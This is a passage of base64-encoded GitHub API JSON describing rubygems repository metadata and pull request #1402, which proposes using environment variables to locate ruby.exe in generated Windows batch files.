cy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0c3svc2hhfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWVudHN7L251bWJlcn0iLCJpc3N1ZV9jb21tZW50X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzL2NvbW1lbnRzey9udW1iZXJ9IiwiY29udGVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb250ZW50cy97K3BhdGh9IiwiY29tcGFyZV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbXBhcmUve2Jhc2V9Li4ue2hlYWR9IiwibWVyZ2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbWVyZ2VzIiwiYXJjaGl2ZV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3thcmNoaXZlX2Zvcm1hdH17L3JlZn0iLCJkb3dubG9hZHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9kb3dubG9hZHMiLCJpc3N1ZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXN7L251bWJlcn0iLCJwdWxsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzey9udW1iZXJ9IiwibWlsZXN0b25lc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL21pbGVzdG9uZXN7L251bWJlcn0iLCJub3RpZmljYXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbm90aWZpY2F0aW9uc3s/c2luY2UsYWxsLHBhcnRpY2lwYXRpbmd9IiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzey9uYW1lfSIsInJlbGVhc2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcmVsZWFzZXN7L2lkfSIsImRlcGxveW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZGVwbG95bWVudHMiLCJjcmVhdGVkX2F0IjoiMjAxMC0wNC0xNlQxOTowMjo0NFoiLCJ1cGRhdGVkX2F0IjoiMjAxOC0wMS0wNVQxOTozNjowNloiLCJwdXNoZWRfYXQiOiIyMDE4LTAxLTA1VDA4OjIwOjM1WiIsImdpdF91cmwiOiJnaXQ6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zLmdpdCIsInNzaF91cmwiOiJnaXRAZ2l0aHViLmNvbTpydWJ5Z2Vtcy9ydWJ5Z2Vtcy5naXQiLCJjbG9uZV91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMuZ2l0Iiwic3ZuX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImhvbWVwYWdlIjoiaHR0cHM6Ly9ydWJ5Z2Vtcy5vcmcvIiwic2l6ZSI6MTQyOTAsInN0YXJnYXplcnNfY291bnQiOjE5MDYsIndhdGNoZXJzX2NvdW50IjoxOTA2LCJsYW5ndWFnZSI6IlJ1YnkiLCJoYXNfaXNzdWVzIjp0cnVlLCJoYXNfcHJvamVjdHMiOmZhbHNlLCJoYXNfZG93bmxvYWRzIjp0cnVlLCJoYXNfd2lraSI6ZmFsc2UsImhhc19wYWdlcyI6ZmFsc2UsImZvcmtzX2NvdW50Ijo5NTksIm1pcnJvcl91cmwiOm51bGwsImFyY2hpdmVkIjpmYWxzZSwib3Blbl9pc3N1ZXNfY291bnQiOjE2MiwibGljZW5zZSI6eyJrZXkiOiJvdGhlciIsIm5hbWUiOiJPdGhlciIsInNwZHhfaWQiOm51bGwsInVybCI6bnVsbH0sImZvcmtzIjo5NTksIm9wZW5faXNzdWVzIjoxNjIsIndhdGNoZXJzIjoxOTA2LCJkZWZhdWx0X2JyYW5jaCI6Im1hc3RlciJ9fSwiX2xpbmtzIjp7InNlbGYiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMTQzMyJ9LCJodG1sIjp7ImhyZWYiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xNDMzIn0sImlzc3VlIjp7ImhyZWYiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNDMzIn0sImNvbW1lbnRzIjp7ImhyZWYiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNDMzL2NvbW1lbnRzIn0sInJldmlld19jb21tZW50cyI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xNDMzL2NvbW1lbnRzIn0sInJldmlld19jb21tZW50Ijp7ImhyZWYiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzL2NvbW1lbnRzey9udW1iZXJ9In0sImNvbW1pdHMiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMTQzMy9jb21taXRzIn0sInN0YXR1c2VzIjp7ImhyZWYiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N0YXR1c2VzLzAzMDdmYzRlYzViODYyNTczMTc1MmNlM2I0NDg3Y2UzNWZjNmZiYTgifX0sImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik1FTUJFUiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xNDAyIiwiaWQiOjUyNzU3NTI4LCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzE0MDIiLCJkaWZmX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzE0MDIuZGlmZiIsInBhdGNoX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzE0MDIucGF0Y2giLCJpc3N1ZV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNDAyIiwibnVtYmVyIjoxNDAyLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJ0aXRsZSI6IkFzc3VtZSBydWJ5LmV4ZSB0byBiZSBhdmFpbGFibGUgYXMgZGVmaW5lZCBieSB0aGUgZW52aXJvbm1lbnQiLCJ1c2VyIjp7ImxvZ2luIjoic2xhY2tmYW4iLCJpZCI6OTkyMTg4LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMy5naXRodWJ1c2VyY29udGVudC5jb20vdS85OTIxODg/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NsYWNrZmFuIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2xhY2tmYW4iLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zbGFja2Zhbi9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zbGFja2Zhbi9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zbGFja2Zhbi9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2xhY2tmYW4vc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zbGFja2Zhbi9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NsYWNrZmFuL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NsYWNrZmFuL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2xhY2tmYW4vZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NsYWNrZmFuL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJib2R5IjoiVGhlIGJlaGF2aW9yIGludHJvZHVjZWQgd2l0aCBwdWxsIHJlcXVlc3QgIzk0MiB3aGVuIGNyZWF0aW5nIHRoZSB3aW5kb3dzXG5iYXRjaCBmaWxlIG9mIGEgcnVieSBnZW0gaGFzIHRoZSBkb3duc2lkZSB0aGF0IGl0IGlzIG5vIGxvbmdlciBlYXN5XG5wb3NzaWJsZSB0byB1c2UgYSBkaWZmZXJlbnQgKEopUnVieSBpbnN0YWxsYXRpb24gYnV0IHRoZSBzYW1lICVHRU1fSE9NRSVcbmRpcmVjdG9yeS4gIFRoaXMgaXMgZm9yIGV4YW1wbGUgbmVlZGVkIHdoZW4gZGlzdHJpYnV0aW5nIGFsbCBnZW1zXG5hdmFpbGFibGUgaW4gYSAlR0VNX0hPTUUlIGRpcmVjdG9yeSBhY2Nyb3NzIHZhcmlvdXMgaW5zdGFsbGF0aW9ucyB3aGljaFxubWF5IGhhdmUgZGlmZmVyZW50IFJ1YnkgaW5zdGFsbGF0aW9ucy5cblxuVGhlIHByb3Bvc2VkIGNoYW5nZXMgdHJpZXMgdG8gZml4IHRoZSBtZW50aW9uZWQgZmxhd3MgYnkgdXRpbGl6aW5nIHNldFxuZW52aXJvbm1lbnQgdmFyaWFibGVzLiBJdCBrZWVwcyB0aGUgZXhpc3RpbmcgYmVoYXZpb3IgaWYgbm8gZW52aXJvbm1lbnRcbnZhcmlhYmxlIGlzIHNldCBidXQgdXNlcyB0aGUgZW52aXJvbm1lbnQgdmFyaWFibGVzIGlmIHNldC5cbiIsImNyZWF0ZWRfYXQiOiIyMDE1LTEyLTA1VDE1OjU1OjM4WiIsInVwZGF0ZWRfYXQiOiIyMDE3LTExLTE0VDIzOjQ4OjUxWiIsImNsb3NlZF9hdCI6bnVsbCwibWVyZ2VkX2F0IjpudWxsLCJtZXJnZV9jb21taXRfc2hhIjoiMTZjNzkwZGRkYmIxNWEzMDlmMThhZjRkYjQ2YzE5ZTA0MzFiYTgxYSIsImFzc2lnbmVlIjp7ImxvZ2luIjoiaW5kaXJlY3QiLCJpZCI6NzgsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91Lzc4P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2luZGlyZWN0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3Qvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiYXNzaWduZWVzIjpbeyJsb2dpbiI6ImluZGlyZWN0IiwiaWQiOjc4LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS83OD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9pbmRpcmVjdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3Qvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX1dLCJyZXF1ZXN0ZWRfcmV2aWV3ZXJzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21taXRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMTQwMi9jb21taXRzIiwicmV2aWV3X2NvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMTQwMi9jb21tZW50cyIsInJldmlld19jb21tZW50X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvY29tbWVudHN7L251bWJlcn0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNDAyL2NvbW1lbnRzIiwic3RhdHVzZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9zdGF0dXNlcy9kMmM0ZDk1ODExZjQwODZkZmM0ZGYzMjRhYmEwZGRkMjNjZDAyYzYzIiwiaGVhZCI6eyJsYWJlbCI6InNsYWNrZmFuOm1hc3RlciIsInJlZiI6Im1hc3RlciIsInNoYSI6ImQyYzRkOTU4MTFmNDA4NmRmYzRkZjMyNGFiYTBkZGQyM2NkMDJjNjMiLCJ1c2VyIjp7ImxvZ2luIjoic2xhY2tmYW4iLCJpZCI6OTkyMTg4LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMy5naXRodWJ1c2VyY29udGVudC5jb20vdS85OTIxODg/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NsYWNrZmFuIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2xhY2tmYW4iLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zbGFja2Zhbi9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zbGFja2Zhbi9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zbGFja2Zhbi9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2xhY2tmYW4vc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zbGFja2Zhbi9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NsYWNrZmFuL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NsYWNrZmFuL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2xhY2tmYW4vZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NsYWNrZmFuL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJyZXBvIjp7ImlkIjo0NzQ2MTUwNCwibmFtZSI6InJ1YnlnZW1zIiwiZnVsbF9uYW1lIjoic2xhY2tmYW4vcnVieWdlbXMiLCJvd25lciI6eyJsb2dpbiI6InNsYWNrZmFuIiwiaWQiOjk5MjE4OCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczMuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvOTkyMTg4P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zbGFja2ZhbiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NsYWNrZmFuIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2xhY2tmYW4vZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2xhY2tmYW4vZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2xhY2tmYW4vZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NsYWNrZmFuL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2xhY2tmYW4vc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zbGFja2Zhbi9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zbGFja2Zhbi9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NsYWNrZmFuL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zbGFja2Zhbi9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicHJpdmF0ZSI6ZmFsc2UsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NsYWNrZmFuL3J1YnlnZW1zIiwiZGVzY3JpcHRpb24iOiJMaWJyYXJ5IHBhY2thZ2luZyBhbmQgZGlzdHJpYnV0aW9uIGZvciBSdWJ5LiIsImZvcmsiOnRydWUsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3Mvc2xhY2tmYW4vcnVieWdlbXMiLCJmb3Jrc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3NsYWNrZmFuL3J1YnlnZW1zL2ZvcmtzIiwia2V5c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3NsYWNrZmFuL3J1YnlnZW1zL2tleXN7L2tleV9pZH0iLCJjb2xsYWJvcmF0b3JzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3Mvc2xhY2tmYW4vcnVieWdlbXMvY29sbGFib3JhdG9yc3svY29sbGFib3JhdG9yfSIsInRlYW1zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3Mvc2xhY2tmYW4vcnVieWdlbXMvdGVhbXMiLCJob29rc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3NsYWNrZmFuL3J1YnlnZW1zL2hvb2tzIiwiaXNzdWVfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3Mvc2xhY2tmYW4vcnVieWdlbXMvaXNzdWVzL2V2ZW50c3svbnVtYmVyfSIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3NsYWNrZmFuL3J1YnlnZW1zL2V2ZW50cyIsImFzc2lnbmVlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3NsYWNrZmFuL3J1YnlnZW1zL2Fzc2lnbmVlc3svdXNlcn0iLCJicmFuY2hlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3NsYWNrZmFuL3J1YnlnZW1zL2JyYW5jaGVzey9icmFuY2h9IiwidGFnc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3NsYWNrZmFuL3J1YnlnZW1zL3RhZ3MiLCJibG9ic191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3NsYWNrZmFuL3J1YnlnZW1zL2dpdC9ibG9ic3svc2hhfSIsImdpdF90YWdzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3Mvc2xhY2tmYW4vcnVieWdlbXMvZ2l0L3RhZ3N7L3NoYX0iLCJnaXRfcmVmc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3NsYWNrZmFuL3J1YnlnZW1zL2dpdC9yZWZzey9zaGF9IiwidHJlZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9zbGFja2Zhbi9ydWJ5Z2Vtcy9naXQvdHJlZXN7L3NoYX0iLCJzdGF0dXNlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3NsYWNrZmFuL3J1YnlnZW1zL3N0YXR1c2VzL3tzaGF9IiwibGFuZ3VhZ2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3Mvc2xhY2tmYW4vcnVieWdlbXMvbGFuZ3VhZ2VzIiwic3RhcmdhemVyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3NsYWNrZmFuL3J1YnlnZW1zL3N0YXJnYXplcnMiLCJjb250cmlidXRvcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9zbGFja2Zhbi9ydWJ5Z2Vtcy9jb250cmlidXRvcnMiLCJzdWJzY3JpYmVyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3NsYWNrZmFuL3J1YnlnZW1zL3N1YnNjcmliZXJzIiwic3Vic2NyaXB0aW9uX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3Mvc2xhY2tmYW4vcnVieWdlbXMvc3Vic2NyaXB0aW9uIiwiY29tbWl0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3NsYWNrZmFuL3J1YnlnZW1zL2NvbW1pdHN7L3NoYX0iLCJnaXRfY29tbWl0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3NsYWNrZmFuL3J1YnlnZW1zL2dpdC9jb21taXRzey9zaGF9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9zbGFja2Zhbi9ydWJ5Z2Vtcy9jb21tZW50c3svbnVtYmVyfSIsImlzc3VlX2NvbW1lbnRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9zbGFja2Zhbi9ydWJ5Z2Vtcy9pc3N1ZXMvY29tbWVudHN7L251bWJlcn0iLCJjb250ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3NsYWNrZmFuL3J1YnlnZW1zL2NvbnRlbnRzL3srcGF0aH0iLCJjb21wYXJlX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3Mvc2xhY2tmYW4vcnVieWdlbXMvY29tcGFyZS97YmFzZX0uLi57aGVhZH0iLCJtZXJnZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9zbGFja2Zhbi9ydWJ5Z2Vtcy9tZXJnZXMiLCJhcmNoaXZlX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3Mvc2xhY2tmYW4vcnVieWdlbXMve2FyY2hpdmVfZm9ybWF0fXsvcmVmfSIsImRvd25sb2Fkc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3NsYWNrZmFuL3J1YnlnZW1zL2Rvd25sb2FkcyIsImlzc3Vlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3NsYWNrZmFuL3J1YnlnZW1zL2lzc3Vlc3svbnVtYmVyfSIsInB1bGxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3Mvc2xhY2tmYW4vcnVieWdlbXMvcHVsbHN7L251bWJlcn0iLCJtaWxlc3RvbmVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3Mvc2xhY2tmYW4vcnVieWdlbXMvbWlsZXN0b25lc3svbnVtYmVyfSIsIm5vdGlmaWNhdGlvbnNf